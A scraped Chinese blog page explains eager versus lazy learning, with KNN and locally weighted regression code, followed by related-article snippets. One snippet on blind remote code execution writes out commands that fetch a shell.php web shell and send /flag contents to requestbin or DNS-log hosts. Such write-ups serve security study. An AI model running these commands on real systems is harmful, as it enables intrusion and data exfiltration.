当前位置: 首页 > news >正文

关于懒惰学习与渴求学习的一份介绍

在这篇文章中,我将介绍些懒惰学习与渴求学习的算法例子,会介绍其概念、优缺点以及其python的运用。

一、渴求学习

1.1概念

渴求学习(Eager Learning)是指在训练阶段构建出复杂的模型,然后在预测阶段运用这个构建出的模型来进行预测。(在西瓜书中,将其翻译为“急切学习”)

1.2 优缺点

优点:预测效率高(因为已经构建好,所以直接拿来用即可)、适用范围广泛、可解释性强。

缺点:训练时间长、对静态数据集有效(对于一个动态的数据集,渴求学习需要对其频繁计算与训练,这样在有些时候是不符合实际需求的)、模型更新能力弱。

1.3 常见渴求学习的算法

通常,像逻辑回归、决策树、逻辑森林、SVM、深度学习等都属于渴求学习。

二、懒惰学习

1.1 概念

懒惰学习(Lazy Learning)与传统的渴求学习对应,它是一种机器学习的范式。通常地,这类学习算法会在训练阶段做极少或压根不做计算,而在之后的预测阶段才进行计算。可以说这类学习算法不进行复杂运算而是转向简单的存储并用这些存储去做出决策。

仔细观察,我们会发现渴求学习与懒惰学习间实际反应了时间复杂度与空间复杂度间的权衡。在渴求学习中,我们在训练阶段就要去构建一个模型,此时的时间复杂度通常会很高,而到了预测阶段则会相对降低,因为此时我们直接使用了那个构建的模型,而在整个过程中,真正需要去存储的只有那个构建好的模型,而不是庞大的训练集;而懒惰学习则与之相反,它起先时间复杂度很低,而后变高,因为开始时只要存储数据即可,而到了之后的预测阶段才开始构建局部模型去预测,所以复杂度升高,在整个过程中,其空间复杂度都会很高,因为它需要存储的不是一个构建好的模型而是整个庞大的训练集。所以,在实际运用是可以根据需求找到对于时间与空间之间的平衡点而进行正确的决定。

1.2 优缺点

优点:适应性强、灵活性高、训练时间较少。

缺点:内存消耗大、可解释性弱。

1.3 常见懒惰学习的算法

1)KNN算法

之前,我有详细介绍过KNN算法,所以在这里我只放一份代码,有需要的可以看我以往的文章。代码如下:

import numpy as np
from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.neighbors import KNeighborsClassifier
import matplotlib.pyplot as plt# 加载数据集并分割
iris = load_iris()
X = iris.data[:, [2, 3]]  # 只使用花瓣长度和宽度
y = iris.target
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=1, stratify=y)# 标准化
sc = StandardScaler()
sc.fit(X_train)
X_train_std = sc.transform(X_train)
X_test_std = sc.transform(X_test)# KNN实例化
knn = KNeighborsClassifier(n_neighbors=3, p=2, metric='minkowski')
knn.fit(X_train_std, y_train)# 预测
y_pred = knn.predict(X_test_std)# 计算准确率
accuracy = np.mean(y_pred == y_test)
print(f'Accuracy: {accuracy * 100:.2f}%')# 可视化结果
# 训练集
plt.scatter(X_train_std[y_train==0, 0], X_train_std[y_train==0, 1], color='red', marker='o', label='setosa')
plt.scatter(X_train_std[y_train==1, 0], X_train_std[y_train==1, 1], color='blue', marker='x', label='versicolor')
plt.scatter(X_train_std[y_train==2, 0], X_train_std[y_train==2, 1], color='green', marker='s', label='virginica')
# 测试集
plt.scatter(X_test_std[y_test==0, 0], X_test_std[y_test==0, 1], color='lightcoral', marker='o', label='test setosa')
plt.scatter(X_test_std[y_test==1, 0], X_test_std[y_test==1, 1], color='lightblue', marker='x', label='test versicolor')
plt.scatter(X_test_std[y_test==2, 0], X_test_std[y_test==2, 1], color='lightgreen', marker='s', label='test virginica')
plt.xlabel('Petal length [standardized]')
plt.ylabel('Petal width [standardized]')
plt.legend(loc='upper left')
plt.show()

其绘制出的图表为:

2)局部加权回归(LRW)

局部加权回归的思路是: 在训练阶段不进行计算只存储数据,然后到了预测阶段则对于每一个新的输入数据点都根据周围附近的数据点来构建一个局部线性回归模型并对这个输入数据点去预测,预测完则作废。

其代码如下:

import numpy as np
import matplotlib.pyplot as plt# 生成模拟数据
np.random.seed(42)
X = np.linspace(0, 10, 100).reshape(-1, 1)
y = np.sin(X).ravel() + np.random.normal(0, 0.1, size=X.shape[0])# LWR算法实现
def lw_regression(X_train, y_train, X_test, tau):# 带宽参数taum = X_train.shape[0]weights = np.eye(m)for i in range(m):diff = X_train[i] - X_testweights[i, i] = np.exp(-diff * diff.T / (2.0 * tau * tau))theta = np.linalg.solve(X_train.T.dot(weights.dot(X_train)), X_train.T.dot(weights.dot(y_train)))return X_test.dot(theta)# 预测
predictions = []
tau = 0.1
for point in X:predictions.append(lw_regression(X, y, point, tau))
predictions = np.array(predictions)# 可视化结果
plt.figure(figsize=(10, 6))
plt.scatter(X, y, color='blue', label='Training data')
plt.plot(X, predictions, color='red', linewidth=2, label='LWR fit')
plt.xlabel('Feature')
plt.ylabel('Target')
plt.title('Locally Weighted Regression (LWR)')
plt.legend()
plt.show()

然后代码做出的图表如下:

在这里,我给出代码的流程图如下:

这个流程图就是LWR的主要流程,至于整个代码,则是分为了三部分,生成模拟数据、预测以及可视化。其中关于生成模拟数据的过程中,我先设置了随机数种子,然后生成了0到10均匀分布的100个点,接着将之reshape成一列,最后生成正弦波形数据,并添加一些正态分布的噪声。

最后,我再解释下生成的图像,其中蓝色的点是生成的数据点,然后红色的曲线是加权回归算法的拟合结果。可以看出,局部加权回归算法生成的拟合曲线相当平滑。这是因为算法通过给每个训练样本分配权重,并根据权重构建局部线性模型,从而减少了噪声的影响。其中关于参数tau是指带宽,它控制着参数下降的速度,较小的tau值意味着权重随距离的增加而迅速下降,这会导致模型更加关注附近的点,可能产生过拟合。较大的tau值会使权重衰减得更慢,模型会考虑到更远的点,可能导致欠拟合。

 3)懒惰朴素贝叶斯

虽然朴素贝叶斯通常属于渴求学习,但是让我们将其所有训练数据保存下来,然后在预测时计算每个类别的条件概率,而不是预先计算并存储概率分布。那么此时它就属于懒惰学习了。

4)懒惰SVM

在训练阶段我们只让它去存储训练数据与支持向量,而不去构建决策边界,然后在预测阶段根据输入数据与支持向量的关系再去做分类决策,那么此时的支持向量机就可以被称为“懒惰SVM”。

除上述外,还有懒惰强化学习、懒惰实例基学习、懒惰决策规则等也属于懒惰学习的范畴,在此不一一叙述了。

此上

相关文章:

关于懒惰学习与渴求学习的一份介绍

在这篇文章中,我将介绍些懒惰学习与渴求学习的算法例子,会介绍其概念、优缺点以及其python的运用。 一、渴求学习 1.1概念 渴求学习(Eager Learning)是指在训练阶段构建出复杂的模型,然后在预测阶段运用这个构建出的…...

sed 环境配置

参考项目来自这里: https://github.com/DCASE-REPO/DESED_task/tree/master/recipes/dcase2023_task4_baseline 1. 更新自己的 conda 避免一些包在旧的conda 环境中不存在; conda update conda使用conda 指定安装 对应版本 # CUDA 11.7 conda instal…...

黑神话:仙童,数据库自动反射魔法棒

黑神话:仙童,数据库自动反射魔法棒 Golang 通用代码生成器仙童发布了最新版本电音仙女尝鲜版十一及其介绍视频,视频请见:https://www.bilibili.com/video/BV1ET4wecEBk/ 此视频介绍了使用最新版的仙童代码生成器,将 …...

香江电器冲刺港交所上市:投资方提前撤资退出,因对赌协议而赔偿

近日,湖北香江电器股份有限公司(X.J. ELECTRICS (HU BEI) CO., LTD,下称“香江电器”)披露招股书,准备在港交所主板上市,国金证券为其独家保荐人。据贝多财经了解,香江电器曾计划在A股上市&…...

SpringSecurity实现自定义登录接口

SpringSecurity实现自定义登录接口 1、配置类 ConfigClazz(SpringSecuriey的) //首先就是要有一个配置类Resourceprivate DIYUsernamePasswordAuthenticationFilter diyUsernamePasswordAuthenticationFilter;/*SpringSecurity配置*/Beanpublic Securit…...

深度解析:Tkinter 界面布局与优化技巧

目录 深度解析:Tkinter 界面布局与优化技巧1. Tkinter 布局管理简介如何选择合适的布局管理器 2. pack() 布局管理详解嵌套布局 3. grid() 布局管理详解行列合并 4. place() 精确布局详解5. Tkinter 界面优化技巧自适应布局响应式布局资源管理 6. 项目示例&#xff…...

RCE_无回显

<aside> &#x1f4a1; 无回显 </aside> 写文件 **curl -o shell.php <http://xxxxxx.txt> wget -O shell.php <http://xxxxxx.txt>**请求带出 **curl <http://requestbin.net/r/1kiej1p1?pcat> /flag|base64 curl xxd -p /flag.xxxxxx.dnslo…...

文心一言智能体——绿色生活管家

最近&#xff0c;我在参加文心一言智能体大赛&#xff0c;这是我的智能体地址绿色生活管家&#xff0c;点击即可访问&#xff0c;大家可以去向我的智能体提问&#xff0c;提五个问题左右即可&#xff0c;真的非常感谢大家&#xff01;好人一生平安&#x1f33c;&#x1f33c;&a…...

无人机(自组穿越机,航模)-芯片选型

飞控MCU: 型号尺寸子型号参数规格备注STM325*532位ARM Cortex-M3 CPU&#xff0c;72MHz&#xff0c;256KB Flash&#xff0c;20KB RAMLQFP 48F33*332位ARM Cortex-M4 CPU&#xff0c;72MHz&#xff0c;256KB Flash&#xff0c;40KB RAMMPU6050F45*532位ARM Cortex-M4 CPU&…...

[Cocoa]_[初级]_[绘制文本如何设置断行效果]

场景 在开发Cocoa程序时&#xff0c;表格NSTableView是经常使用的控件。其基于View Base的视图单元格模式就是使用NSCell或其子类来控制每个单元格的呈现。当一个单元格里的文字过多时&#xff0c;需要截断超出宽度的文字&#xff0c;怎么实现&#xff1f; 说明 Cocoa下的文本…...

IPS和IDS有啥区别

在网络安全领域&#xff0c;入侵检测系统 (IDS) 和入侵防御系统 (IPS) 是两种关键的技术&#xff0c;旨在保护网络免受各种威胁。这两者尽管名字相似&#xff0c;但在功能、配置、以及应用场景等方面都有着显著的差异。 入侵检测系统 (IDS) IDS 是一种被动监控系统&#xff0c…...

c基础面试题

1.static和const的作用 static意为静态的&#xff0c;在C语言中可以修饰变量。如果是全局变量则只能在当前文件范围访问。 如果是函数内的局部变量则延长生命周期到整个程序。这意味着如果函数被多次调用&#xff0c;这个变量不会被重新初始化&#xff0c;而是保留上次调用结…...

选择最佳HR系统_6款产品评测与推荐

本文盘点了ZohoPeople、SAPSuccessFactors等六款主流HRMS&#xff0c;各系统各具特色&#xff0c;如ZohoPeople的全球化云管理、SAP的高定制化、Workday的实时数据分析等&#xff0c;适合不同规模企业需求&#xff0c;建议企业试用后决策。 一、Zoho People Zoho People 是一个…...

Latex技巧——参考文献中加入url和doi

有的期刊要求在参考文献里加入url或者doi, 例如下图中蓝色的字体。 在bib里编辑为下图中note行&#xff0c;也就是利用\href命令。\href后第一个{}内为网址&#xff0c;第二个{}为在参考文献中显示的蓝色文字。一般来说&#xff0c;两个{}内的文字相同。若遇到有些网址有下划线…...

安卓WPS Office v18.13.0高级版

软件介绍 WPS Office&#xff0c;金山WPS移动版&#xff0c;使用人数最多的移动办公软件套件。独有手机阅读模式&#xff0c;字体清晰翻页流畅&#xff1b;完美支持文字&#xff0c;表格&#xff0c;演示&#xff0c;PDF等51种文档格式&#xff1b;新版本具有海量精美模版及高…...

【C++力扣】917.仅仅反转字母|387.字符串中第一个唯一字符|415.字符串相加

✨ Blog’s 主页: 白乐天_ξ( ✿&#xff1e;◡❛) &#x1f308; 个人Motto&#xff1a;他强任他强&#xff0c;清风拂山冈&#xff01; &#x1f525; 所属专栏&#xff1a;C深入学习笔记 &#x1f4ab; 欢迎来到我的学习笔记&#xff01; 一、917.仅仅反转字母 1.1 题目描述…...

RxSwift系列(四)异常处理和调试操作

一、异常处理 1.catchErrorJustReturn 当遇到 error 事件的时候&#xff0c;就返回指定的值&#xff0c;然后结束。 enum MyError: Error {case Acase B }let disposeBag DisposeBag()let sequenceThatFails PublishSubject<String>()sequenceThatFails.catchErrorJ…...

Excel基础:电子表格Excel的使用技巧合集

一、内容 1.表格下拉框选择内容...

教育技术革新:SpringBoot在线教育系统开发

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理微服务在线教育系统的相关信息成为必然。开…...

【大数据入门 | Hive】Join语句

1. 等值join Hive支持通常的sql join语句&#xff0c;但是只支持等值连接&#xff0c;不支持非等值连接。但sql是支持非等值连接的。 1&#xff09;案例实操 &#xff08;1&#xff09;根据员工表和部门表中的部门编号相等&#xff0c;查询员工编号、员工名称和部门名称。 …...

Admin.Net中的消息通信SignalR解释

定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...

CentOS下的分布式内存计算Spark环境部署

一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架&#xff0c;相比 MapReduce 具有以下核心优势&#xff1a; 内存计算&#xff1a;数据可常驻内存&#xff0c;迭代计算性能提升 10-100 倍&#xff08;文档段落&#xff1a;3-79…...

【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力

引言&#xff1a; 在人工智能快速发展的浪潮中&#xff0c;快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型&#xff08;LLM&#xff09;。该模型代表着该领域的重大突破&#xff0c;通过独特方式融合思考与非思考…...

生成 Git SSH 证书

&#x1f511; 1. ​​生成 SSH 密钥对​​ 在终端&#xff08;Windows 使用 Git Bash&#xff0c;Mac/Linux 使用 Terminal&#xff09;执行命令&#xff1a; ssh-keygen -t rsa -b 4096 -C "your_emailexample.com" ​​参数说明​​&#xff1a; -t rsa&#x…...

ElasticSearch搜索引擎之倒排索引及其底层算法

文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...

uniapp中使用aixos 报错

问题&#xff1a; 在uniapp中使用aixos&#xff0c;运行后报如下错误&#xff1a; AxiosError: There is no suitable adapter to dispatch the request since : - adapter xhr is not supported by the environment - adapter http is not available in the build 解决方案&…...

均衡后的SNRSINR

本文主要摘自参考文献中的前两篇&#xff0c;相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程&#xff0c;其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt​ 根发送天线&#xff0c; n r n_r nr​ 根接收天线的 MIMO 系…...

华硕a豆14 Air香氛版,美学与科技的馨香融合

在快节奏的现代生活中&#xff0c;我们渴望一个能激发创想、愉悦感官的工作与生活伙伴&#xff0c;它不仅是冰冷的科技工具&#xff0c;更能触动我们内心深处的细腻情感。正是在这样的期许下&#xff0c;华硕a豆14 Air香氛版翩然而至&#xff0c;它以一种前所未有的方式&#x…...

离线语音识别方案分析

随着人工智能技术的不断发展&#xff0c;语音识别技术也得到了广泛的应用&#xff0c;从智能家居到车载系统&#xff0c;语音识别正在改变我们与设备的交互方式。尤其是离线语音识别&#xff0c;由于其在没有网络连接的情况下仍然能提供稳定、准确的语音处理能力&#xff0c;广…...

uni-app学习笔记三十五--扩展组件的安装和使用

由于内置组件不能满足日常开发需要&#xff0c;uniapp官方也提供了众多的扩展组件供我们使用。由于不是内置组件&#xff0c;需要安装才能使用。 一、安装扩展插件 安装方法&#xff1a; 1.访问uniapp官方文档组件部分&#xff1a;组件使用的入门教程 | uni-app官网 点击左侧…...